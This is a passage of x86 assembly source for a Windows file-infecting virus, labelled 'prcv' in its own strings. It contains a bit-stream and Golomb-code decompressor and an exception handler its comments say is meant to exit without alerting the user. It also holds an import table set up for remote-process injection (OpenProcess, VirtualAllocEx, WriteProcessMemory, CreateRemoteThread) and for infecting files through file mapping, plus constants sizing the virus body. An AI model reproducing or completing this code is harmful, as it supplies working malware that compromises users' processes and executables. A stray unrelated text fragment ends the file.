  cmp eax, 0
  jl lb_L2_a
  add edx, eax
  jmp lb_L2_b
lb_L2_a:
  cmp eax, -MAX_WND_SIZE
  jge lb_L2_b
  xor edx, edx
lb_L2_b:

  push edx

  mov ecx, OFFSET_CODING_LENGTH
  call ReadBitsFromBitStream

  push eax
  call ReadGolombCode
  pop eax

  xchg esi, [esp]
  add esi, eax
  add [ebp][iSlideWindowPtr], ecx
  add [ebp][ulBytesDecoded], ecx

lp_CopyingString:

  mov al, [esi]
  mov [edi], al
  inc esi
  inc edi
  loop lp_CopyingString

  pop esi


  jmp lb_LZ77Decompress


lb_SingleCharacter:

  mov ecx, 8
  call ReadBitsFromBitStream

  mov [edi], al
  inc edi
  inc dword ptr [ebp][iSlideWindowPtr]
  inc dword ptr [ebp][ulBytesDecoded]

  jmp lb_LZ77Decompress

lb_AllDataDecompressed:

  mov eax, [ebp][ulBytesDecoded]
  mov ecx, [ebp][pulNumberOfBytes]
  jecxz lb_NumberOfBytesNotRequiredReturned
  mov [ecx], eax

lb_NumberOfBytesNotRequiredReturned:

  mov esp, ebp
  popad
  ret 16


ReadBitFromBitStream:

  push ecx

  mov eax, ebx
  shr eax, 3
  add eax, esi
  mov ecx, ebx
  and ecx, 7
  mov eax, [eax]
  shr eax, cl
  and eax, 1

  pop ecx
  inc ebx

  ret


ReadBitsFromBitStream:

  push edi
  push edx

  xor edx, edx
  xor edi, edi
  xchg ecx, edi

lb_LoopOfReadBits:

  call ReadBitFromBitStream
  shl eax, cl
  or edx, eax

  inc ecx
  dec edi
  jnz lb_LoopOfReadBits

  mov eax, edx
  pop edx
  pop edi
  ret


;*********************************************************************
;*                                                                   *
;* ReadGolombCode()                                                 *
;*                                                                   *
;* Remarks:                                                         *
;*  Read the Golomb code from the bit stream.                    *
;*                                                                   *
;* Parameters:                                                      *
;*  [Esi]                                                        *
;*  Point to start address of the bit stream.                    *
;*  [Ebx]                                                        *
;*  The offset in the bit stream where the Golomb code will      *
;*  be read from.                                                *
;*                                                                   *
;* Return value:                                                    *
;*  [Ecx]                                                        *
;*  The decoding value                                           *
;*                                                                   *
;*********************************************************************
ReadGolombCode:

  xor edx, edx

lb_ReadNextBitUntil0IsFound:

  call ReadBitFromBitStream
  test eax, eax
  jz lb_ZeroBitIsFound
  inc edx
  jmp lb_ReadNextBitUntil0IsFound

lb_ZeroBitIsFound:

  push edx

  xor ecx, ecx
  xor edx, edx

lb_LoopOfDecodingR:

  call ReadBitFromBitStream
  shl eax, cl
  or edx, eax
  inc ecx
  cmp ecx, M
  jb lb_LoopOfDecodingR

  mov ecx, edx
  pop edx
  shl edx, M
  lea ecx, [ecx+edx+1]
  ret

;//}

;*********************************************************************
;* ExceptionHandler:
;*
;*  The exception-handing routine. When something unnormal
;*  occurs anyway, the routine is called by the system. We will
;*  do some processings here and then quit our virus program
;*  without causing the user's cautions.
;
;* Parameters:
;*
;*  fs:[0]: Point the memory unit where the ESP register is
;*  saved. The value of the ESP register is equal to the one
;*  when the exception occurs.
;*
;* Return Value:
;*
;*  None
;*
;*
;*********************************************************************
ExceptionHandler:

if DEBUG
  push 0
  push offset szError
  push offset szExceptionCaused
  push 0
  call MessageBoxA
endif

  xor ebx,ebx
  mov eax, fs:[ebx]
  mov esp, [eax]

  jmp lb_ExitVirusProgram


NameOfKernel32   db 'Kernel32.dll', 0

if DEBUG
 TargetProcessName db 'mm.exe', 0
endif

        db 'prcv'
        db (MajorVersion + 00000030h)
        db '.'
        db (MinorVersion + 00000030h)

n_GetModuleHandleA    db 'GetModuleHandleA', 0
n_GetProcAddress    db 'GetProcAddress', 0
n_CreateToolhelp32Snapshot   db 'CreateToolhelp32Snapshot', 0
n_Process32First    db 'Process32First', 0
n_Process32Next     db 'Process32Next', 0
n_Module32First     db 'Module32First', 0
n_Module32Next     db 'Module32Next', 0
n_CloseHandle     db 'CloseHandle', 0
n_OpenProcess     db 'OpenProcess', 0
n_CreateRemoteThread   db 'CreateRemoteThread', 0
n_VirtualProtectEx    db 'VirtualProtectEx', 0
n_VirtualAllocEx    db 'VirtualAllocEx', 0
n_VirtualFreeEx     db 'VirtualFreeEx', 0
n_WriteProcessMemory   db 'WriteProcessMemory', 0
n_CreateFileA     db 'CreateFileA', 0
n_CreateFileW     db 'CreateFileW', 0
n_CreateFileMapping    db 'CreateFileMappingW', 0
n_MapViewOfFile     db 'MapViewOfFile', 0
n_UnmapViewOfFile    db 'UnmapViewOfFile', 0
n_GetFileAttributes    db 'GetFileAttributesW', 0
n_SetFileAttributes    db 'SetFileAttributesW', 0
n_GetFileSize     db 'GetFileSize', 0
n_MultiByteToWideChar   db 'MultiByteToWideChar', 0
ife SKIP_CURRENT_PROCESS
n_GetCurrentProcessId   db 'GetCurrentProcessId', 0
endif
if ERROR_DIAGNOSE
n_GetLastError     db 'GetLastError', 0
endif

if NOT_INFECT_FILES
LogFileName      db 'c:/openlog.txt', 0
endif

RelativeBase  =  @B
; import-function string offset table
IfNameTable   dd n_GetModuleHandleA    - RelativeBase
     dd n_GetProcAddress    - RelativeBase
     dd n_CreateToolhelp32Snapshot - RelativeBase
     dd n_Process32First   - RelativeBase
     dd n_Process32Next    - RelativeBase
     dd n_Module32First    - RelativeBase
     dd n_Module32Next    - RelativeBase
     dd n_CloseHandle    - RelativeBase
     dd n_OpenProcess    - RelativeBase
     dd n_CreateRemoteThread  - RelativeBase
     dd n_VirtualProtectEx   - RelativeBase
     dd n_VirtualAllocEx   - RelativeBase
     dd n_VirtualFreeEx    - RelativeBase
     dd n_WriteProcessMemory  - RelativeBase
if NOT_INFECT_FILES
     dd n_CreateFileA    - RelativeBase
endif
     dd n_CreateFileW    - RelativeBase
     dd n_CreateFileMapping   - RelativeBase
     dd n_MapViewOfFile    - RelativeBase
     dd n_UnmapViewOfFile   - RelativeBase
     dd n_GetFileAttributes   - RelativeBase
     dd n_SetFileAttributes   - RelativeBase
     dd n_GetFileSize    - RelativeBase
     dd n_MultiByteToWideChar  - RelativeBase
ife SKIP_CURRENT_PROCESS
     dd n_GetCurrentProcessId  - RelativeBase
endif
if ERROR_DIAGNOSE
     dd n_GetLastError    - RelativeBase
endif
     dd 0 ; 0 meaning the end of the table
IsBusy    db 0

CallAddressTable = $
@X = $
lpfnGetModuleHandleA   dd ?
lpfnGetProcAddress    dd ?
lpfnCreateToolhelp32Snapshot dd ?
lpfnProcess32First    dd ?
lpfnProcess32Next    dd ?
lpfnModule32First    dd ?
lpfnModule32Next    dd ?
lpfnCloseHandle     dd ?
lpfnOpenProcess     dd ?
lpfnCreateRemoteThread   dd ?
lpfnVirtualProtectEx   dd ?
lpfnVirtualAllocEx    dd ?
lpfnVirtualFreeEx    dd ?
lpfnWriteProcessMemory   dd ?
if NOT_INFECT_FILES
lpfnCreateFileA     dd ?
endif
lpfnCreateFileW     dd ?
lpfnCreateFileMappingW   dd ?
lpfnMapViewOfFile    dd ?
lpfnUnmapViewOfFile    dd ?
lpfnGetFileAttributesW   dd ?
lpfnSetFileAttributesW   dd ?
lpfnGetFileSize     dd ?
lpfnMultiByteToWideChar   dd ?
ife SKIP_CURRENT_PROCESS
lpfnGetCurrentProcessId   dd ?
endif
if ERROR_DIAGNOSE
lpfnGetLastError    dd ?
endif


VIRUS_PHYSICAL_SIZE = $ - BaseOfVirusCode
VIRUS_VIRTUAL_SIZE = 00001000h
VIRUS_ALIGN_SIZE = (VIRUS_VIRTUAL_SIZE + MAX_SIZE_COMPRESSED + 00000400h)
VIRUS_BOOTING_SIZE = (VIRUS_VIRTUAL_SIZE + MAX_SIZE_COMPRESSED)

DynamicDataArea = $

ReturnValueFromRemoteProcess dd  ?
dwOldProtect     dd  ?
ProcessEntry32    = $
  pe_dwSize   = ProcessEntry32 + 0000h
  pe_th32ProcessID = ProcessEntry32 + 0008h
  pe_szExeFile  = ProcessEntry32 + 0024h

ife NOT_INFECT_FILES
ModuleEntry32    = $
else
ModuleEntry32    = $ + 00000128h
endif
  me_dwSize   = ModuleEntry32 + 0000h
  me_modBaseAddr  = ModuleEntry32 + 0014h

PADDING_DATA_LENGTH = (VIRUS_ALIGN_SIZE-($-BaseOfVirusCode))

PaddingData   db (PADDING_DATA_LENGTH) dup (0)

; _______________________________________________  ___
;|(0x0000)                                       |  |
;|                                               |  |
;|                 Virus Code                    |  | 00001000h
;|                                               |  |
;|_______________________________________________| _|_
;|(0x1000)                                       |  |
;|                                               |  |
;|         Buffer For Data Compressed            |  | 00004000h
;|                                               |  |
;|                                               |  |
;|                                               |  |
;|                                               |  |
;|                                               |  |
;|_______________________________________________| _|_

DOS_HAEDER_SIZE     = 00000040h
SIZE_OF_IMPORT_DESCRIPTOR  = 00000014h
SIZE_OF_IMAGE_SECTION_HEADER = 00000028h
MAX_SIZE_TO_COMPRESS   = 00004000h
MAX_SIZE_COMPRESSED    = 00004000h

DELTA_X       = BaseOfVirusCode - @X
lpBufferForDataCompressed  = DELTA_X + 00001000h

VirSegment ends


end VirtualEntry 

原创粉丝点击